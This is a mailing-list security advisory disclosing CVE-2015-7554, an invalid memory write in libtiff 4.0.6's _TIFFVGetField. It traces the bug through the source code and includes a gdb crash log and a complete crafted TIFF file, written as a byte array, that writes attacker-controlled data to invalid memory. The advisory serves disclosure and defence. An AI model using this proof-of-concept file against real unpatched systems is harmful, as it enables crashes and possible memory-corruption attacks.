Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 26 Dec 2015 23:34:40 +0700
From: Hans Jerry Illikainen <hji@...topia.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Subject: libtiff: invalid write (CVE-2015-7554)


`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.

Each tag has a `field_passcount' variable in their TIFFField struct:

tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
| struct _TIFFField {
|     uint32 field_tag;                       /* field's tag */
|     short field_readcount;                  /* read count/TIFF_VARIABLE/TIFF_SPP */
|     short field_writecount;                 /* write count/TIFF_VARIABLE */
|     TIFFDataType field_type;                /* type of associated data */
|     uint32 reserved;                        /* reserved for future extension */
|     TIFFSetGetFieldType set_field_type;     /* type to be passed to TIFFSetField */
|     TIFFSetGetFieldType get_field_type;     /* type to be passed to TIFFGetField */
|     unsigned short field_bit;               /* bit in fieldsset bit vector */
|     unsigned char field_oktochange;         /* if true, can change while writing */
|     unsigned char field_passcount;          /* if true, pass dir count on set */
|     char* field_name;                       /* ASCII name */
|     TIFFFieldArray* field_subfields;        /* if field points to child ifds, child ifd field definition array */
| };
`----

For example:

tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
| static const TIFFField fax3Fields[] = {
|     { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
| };
`----

However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'.  This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':

tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
| int
| TIFFReadDirectory(TIFF* tif)
| {
| [...]
|             TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
|             if (fii == FAILED_FII)
|             {
|                 TIFFWarningExt(tif->tif_clientdata, module,
|                                "Unknown field with tag %d (0x%x) encountered",
|                                dp->tdir_tag,dp->tdir_tag);
|                 /* the following knowingly leaks the
|                    anonymous field structure */
|                 if (!_TIFFMergeFields(tif,
|                                       _TIFFCreateAnonField(tif,
|                                           dp->tdir_tag,
|                                           (TIFFDataType) dp->tdir_type),
|                                       1)) {
| [...]
| }
`----

tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
| TIFFField*
| _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
| {
|     [...]
|     fld->field_bit = FIELD_CUSTOM;
|     [...]
|     fld->field_passcount = TRUE;
|     [...]
| }
`----

If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:

tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
| static int
| _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
| {
|     [...]
|     uint32 standard_tag = tag;
|     [...]
|     if (fip->field_bit == FIELD_CUSTOM) {
|         standard_tag = 0;
|     }
| 
|     switch (standard_tag) {
|         [...]
|         default:
|         {
|             [...]
|             for (i = 0; i < td->td_customValueCount; i++) {
|                 [...]
|                 if (fip->field_passcount) {
|                     if (fip->field_readcount == TIFF_VARIABLE2)
|                         *va_arg(ap, uint32*) = (uint32)tv->count;
|                     else  /* Assume TIFF_VARIABLE */
|                         *va_arg(ap, uint16*) = (uint16)tv->count;
|                     *va_arg(ap, void **) = tv->value;
|                     ret_val = 1;
|                 }
|                 [...]
|             }
|         }
|     }
|     [...]
| }
`----


With an invocation of `TIFFGetField()' such as:

,----
| TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----

for a TIFFTAG_GROUP3OPTIONS specified as:

,----
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
| ^^^^^^^^^^  ^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^
| tag         type        count                   offset/value
`----

the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.


Using the included tiffsplit utility as an example:

tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
| static int
| tiffcp(TIFF* in, TIFF* out)
| {
|     [...]
|     CopyField(TIFFTAG_YRESOLUTION, floatv);
|     CopyField(TIFFTAG_GROUP3OPTIONS, longv);
|     [...]
| }
`----

,----
| $ gdb -q --args tiffsplit tag.tiff
| Reading symbols from tiffsplit...done.
| (gdb) r
| TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
| 
| Program received signal SIGSEGV, Segmentation fault.
| 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at tif_dir.c:1056
| 1056                            *va_arg(ap, void **) = tv->value;
| (gdb) x/i $eip
| => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>:	mov    %edx,(%eax)
| (gdb) x/x $edx
| 0x804d670:	0x41414141
| (gdb) x/x $eax
| 0x41410000:	Cannot access memory at address 0x41410000
| (gdb)
`----


tag.tiff:
,----
| unsigned char tiff[] = {
|     /* little-endian */
|     0x49, 0x49,
| 
|     /* version */
|     0x2a, 0x00,
| 
|     /* tif->tif_diroff */
|     0x09, 0x00, 0x00, 0x00,
|     0x00,
| 
|     /* tag count */
|     0x07, 0x00,
| 
|     /* tag    | type      | count                 | offset/value         */
|     /* TIFFTAG_IMAGEWIDTH */
|     0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|     /* TIFFTAG_IMAGELENGTH */
|     0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|     /* TIFFTAG_BITSPERSAMPLE */
|     0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
|     /* TIFFTAG_STRIPOFFSETS */
|     0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|     /* TIFFTAG_STRIPBYTECOUNTS */
|     0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|     /* TIFFTAG_YRESOLUTION */
|     0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
|     /* TIFFTAG_GROUP3OPTIONS */
|     0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
| 
|     /* tif->tif_nextdiroff */
|     0x00, 0x00, 0x00, 0x00,
| 
|     /* bits per sample */
|     0x08, 0x00,
|     0x08, 0x00,
|     0x08, 0x00,
| };
`----


This issue has been assigned CVE-2015-7554 and it has yet to be fixed.

-- 
Hans Jerry Illikainen

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ